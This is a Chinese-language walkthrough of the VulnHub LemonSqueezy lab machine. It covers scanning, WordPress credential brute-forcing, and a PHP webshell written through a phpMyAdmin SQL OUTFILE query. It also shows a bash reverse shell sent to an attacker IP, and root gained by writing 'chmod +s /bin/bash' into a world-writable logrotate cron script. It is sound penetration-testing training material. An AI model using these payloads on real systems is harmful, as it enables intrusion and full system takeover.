VulnHub靶场笔记 - LemonSqueezy(OSCP推荐靶场)

发布时间:2024年01月02日

1 信息收集

1.1 主机探测

首先,对靶机网段进行扫描

sudo nmap -sn 192.168.220.1/24 --min-rate 1000 -T4

发现靶机IP地址为:192.168.220.133

sudo nmap -sS -p- --min-rate 1000 -T4 -oN nmap.txt 192.168.220.133

对靶机开放的端口及服务进行扫描

sudo nmap -sC -sV -O -oN nmap.txt --append-out 192.168.220.133 -p 80

靶机仅开放80端口

扫描UDP端口,没有发现端口开放

sudo nmap -sU -p- 192.168.220.133 --min-rate 1000 -T4 -oN nmap.txt --append-out

1.2 目录扫描

既然开放了80端口,那么可以在 kali-linux 中,使用 dirb 对靶机页面路径进行扫描

dirb http://192.168.220.133/

发现如下有价值的目录,说明该靶机存在一个mysql数据库管理后台和一个CMS

http://192.168.220.133/phpmyadmin/
http://192.168.220.133/wordpress/

1.3 WordPress页面探测

先在kali中,把域名和IP绑定

然后直接访问

1.4 WordPress漏洞扫描

使用 kali-linux 中的 wpscan(一个专门扫描WordPress漏洞的工具)对靶机进行漏洞扫描

wpscan --url http://lemonsqueezy/wordpress

结果如下

没有发现明显的可利用的漏洞(这个主题是否可以利用,我暂时还未深入研究),但是发现一个可以用于文件上传的目录

http://lemonsqueezy/wordpress/wp-content/uploads/
1.4.1 枚举用户-小字典

使用 kali-linux 自带的 fasttrack.txt 字典(在 /usr/share/wordlists 路径下),结合 wpscan 进行后台用户枚举

wpscan --url http://lemonsqueezy/wordpress -eu -P /usr/share/wordlists/fasttrack.txt

发现两个用户,lemon 和 orange ,可以将它们加入 user.list,以便后续使用

1.4.2 枚举用户-大字典

上述使用的小字典可能结果不够全面,因此还可以使用 kali-linux 自带的 rockyou.txt 字典进行一次枚举

wpscan --url http://lemonsqueezy/wordpress -eu -P /usr/share/wordlists/rockyou.txt

稍许等待即可发现一个结果:orange 用户的密码为 ginger,可以将这个信息更新至 cerd.list(用户名和密码组成的列表)

后续并没有发现其他结果,此处也可以尝试针对 lemon 用户继续爆破,以获得其密码

wpscan --url http://lemonsqueezy/wordpress -U lemon -P /usr/share/wordlists/rockyou.txt

2 getshell

2.1 WordPress后台登录

打开wordpress后台登录页面:http://lemonsqueezy/wordpress/wp-login.php,使用枚举得到的 orange 用户进行登录

发现一处敏感信息,这可能是另一个后台的登录密码

2.2 phpMyAdmin页面登录

我们使用在wordpress后台获得的密码尝试登录数据库后台

orange:n0t1n@w0rdl1st!

在wordpress的用户表中,可以找到lemon和orange的密码哈希值,将lemon的密码哈希值加入hash.txt

2.2.1 哈希爆破

可以使用 kali-linux 中的哈希爆破工具 john 对 lemon 用户的密码哈希值进行爆破

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

没有结果,可能是这个哈希值过于复杂。

除了 john,我们还可以尝试其他哈希爆破手段,此处略。

2.2.2 密码修改

我们可以调整思路,既然已经知道了 orange 用户的密码及其哈希值,那么我们可以尝试将 lemon 用户的密码哈希值改为与 orange 用户一致。如此一来,我们便可以使用 orange 用户的密码登录 lemon 用户的账号

同时,我们更新cerd.list

2.3 WordPress后台登录-lemon

我们使用 lemon 用户登录 WordPress 后台,显然 lemon 用户拥有比 orange 用户更高的权限

2.4 WordPress页面渗透

2.4.1 寻找php代码编辑点

可以在 Appearance -> Editor 中找到一些php页面文件,但大多数是锁定状态,并不能编辑

2.4.2 通过MySQL写入shell

在常用的一句话木马写入手段中,除了文件上传、页面文件修改等方法之外,在能够操纵数据库后台的情况下,我们还可以通过执行SQL脚本实现一句话木马的注入。

找到SQL脚本编辑页面,我们可以在此处写入一个shell

编辑如下内容,将一个一句话木马(1.php)生成至 /var/www/html/wordpress/wp-content/uploads 路径下

SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/wordpress/wp-content/uploads/1.php'

访问如下URL,通过 GET 请求参数验证一句话木马是否成功上传

http://lemonsqueezy/wordpress/wp-content/uploads/1.php?0=id

命令成功执行

2.5 shell反弹

在 kali-linux 中开启监听

sudo nc -lvvnp 2233

访问如下URL,将靶机shell反弹至 kali-linux 中

http://lemonsqueezy/wordpress/wp-content/uploads/1.php?0=/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.220.129/2233 0>%261'

至此,我们成功getshell

3 权限提升

3.1 初步提权

首先,查看有无python

which python

有python,尝试初步提权(进而可执行tty命令等)

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

3.2 信息探测

在/var/www目录下查看user.txt内容

解base64,得到一句话 Music can change your life,可能是一个提示

3.3 root提权

3.3.1 查看可利用sword

查找所有设置了 setuid 位的文件

find / -perm -u=s -type f 2>/dev/null

初步观察,没有可利用的文件

3.3.2 查看定时任务
cat /etc/crontab

有一个 /etc/logrotate.d 路径下的定时任务 logrotate 值得关注

查看该文件的权限信息

发现权限是777(rwxrwxrwx),说明可以写入该文件,进而实现提权

3.3.3 定时任务logrotate利用

首先,查看该文件内容

备份该文件,然后将 /bin/bash 写入 logrotate 文件中

# 备份文件
cp logrotate /var/www/html/wordpress/wp-content/uploads/logrotate.bak
# 将/bin/bash写入
echo 'chmod +s /bin/bash' > logrotate

不断查看 /bin/bash 的权限,如果出现 s,说明定时任务已经执行

3.3.4 获取root权限

当定时任务执行后,我们就可以通过执行如下命令来获取root权限了

/bin/bash -p

提权成功

3.4 获取flag

切换到 /root 目录下,发现 root.txt 文件,解base64得到flag

文章来源:https://blog.csdn.net/m0_62652276/article/details/135326276
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。